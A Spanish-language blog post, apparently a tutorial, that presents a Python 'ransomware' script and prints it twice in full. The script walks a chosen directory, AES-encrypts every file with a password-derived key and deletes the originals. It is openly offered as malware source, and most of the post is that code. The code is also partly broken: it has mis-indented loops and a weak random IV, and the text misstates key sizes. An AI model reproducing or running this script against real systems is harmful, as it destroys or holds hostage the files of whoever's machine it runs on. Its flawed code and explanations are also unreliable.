Ransomware en Python -haciendo uso de AES -


    En esta entrada estaré mostrando como podemos crear un script en python el cual se encargara de cifrar todos los activos de un directorio en especifico. Muchos ya sabemos lo que es un Ransomware y lo que estos hacen. Nuestro script se comportara de manera similar haciendo uso de AES y Sha256.
En un post anterior vimos algo similar pero solo era un script básico que hacia uso de Sha256 para cifrar el contenido de los archivos y crear un hash pero en este caso usaremos el algoritmo de cifrado AES el cual es uno de los mas seguros.

Bien comenzamos importando las librerías que estaremos usando para nuestro código.


from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import os, random, sys, pkg_resources



password = "tu password de cifrado"

Dir= '/root/Desktop/Galileo'
        
for r, d, f in os.walk(Dir):
    for filename in f:
    ruta = r+"/"+filename

    print ruta
    key = SHA256.new(password).digest()
    encrypt(key,ruta)


Como ya vimos importamos nuestras librerías y luego creamos una variable la cual contendrá nuestro password el cual debe ser de 16 bit.(Este password sera el que usaremos para descifrar los archivos en un futuro). Luego creo otra variable la cual es Dir que contiene la ruta especifica a cifrar. Luego hago uso de la función For la cual listara todos los directorios y subdirectorios de la ruta que le indicamos en Dir, una vez listamos todos los directorios pasamos a listar todos los archivos de dichos directorios para ir uno por uno y cifrarlos.  La llave sera nuestro password la cual se le genera un hash aleatorio haciendo uso de sha256.

Como bien ya vimos llamo a una función llamada encrypt la cual hará todo el trabajo de cifrado.

def encrypt(key, ruta):
        chunksize = 64 * 1024
        outFile = os.path.join(os.path.dirname(ruta), "(encrypted)"+os.path.basename(ruta))
        filesize = str(os.path.getsize(ruta)).zfill(16)
        IV = ''

        for i in range(16):
                IV += chr(random.randint(0, 0xFF))
       
        encryptor = AES.new(key, AES.MODE_CBC, IV)

        with open(ruta, "rb") as infile:
                with open(outFile, "wb") as outfile:
                        outfile.write(filesize)
                        outfile.write(IV)
                        while True:
                                chunk = infile.read(chunksize)
                               
                                if len(chunk) == 0:
                                        break

                                elif len(chunk) % 16 !=0:
                                        chunk += ' ' *  (16 - (len(chunk) % 16))

                                outfile.write(encryptor.encrypt(chunk))
        os.remove(ruta)


En la variable outFile le especificamos la ruta del archivo y le indicamos el nombre con el cual se generara el archivo cifrado, luego le especificamos que tome el final del texto a cifrar y lo rellene con Bytes en bloques de 16 bits. IV en este caso representa la cadena de bytes. Ahora pasamos a abrir el archivo  y tratar de escribir el filesize y IV para luego comprobar de que el chunk size es el correcto. De todo salir bien se creara un archivo cifrado y se removerá el original. Una vez corramos el script nuestros archivos quedaran de la siguiente manera.




Listo ya tendríamos un directorio cifrado por completo, si desean que haga un post de como descifrar los archivos no olviden compartir este post y suscribirse a nuestro canal de youtube. Espero que les haya gustado este Post gracias.

Código completo

from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import os, random, sys, pkg_resources




def encrypt(key, ruta):
        chunksize = 64 * 1024
        outFile = os.path.join(os.path.dirname(ruta), "(encrypted)"+os.path.basename(ruta))
        filesize = str(os.path.getsize(ruta)).zfill(16)
        IV = ''

        for i in range(16):
                IV += chr(random.randint(0, 0xFF))
     
        encryptor = AES.new(key, AES.MODE_CBC, IV)

        with open(ruta, "rb") as infile:
                with open(outFile, "wb") as outfile:
                        outfile.write(filesize)
                        outfile.write(IV)
                        while True:
                                chunk = infile.read(chunksize)
                             
                                if len(chunk) == 0:
                                        break

                                elif len(chunk) % 16 !=0:
                                        chunk += ' ' *  (16 - (len(chunk) % 16))

                                outfile.write(encryptor.encrypt(chunk))
        os.remove(ruta)
 


password = "tu Password de 16 bit"

Dir= '/root/Desktop/blackeye'
     
for r, d, f in os.walk(Dir):
    for filename in f:
    ruta = r+"/"+filename

    print ruta
    key = SHA256.new(password).digest()
    encrypt(key,ruta)


3 comentarios: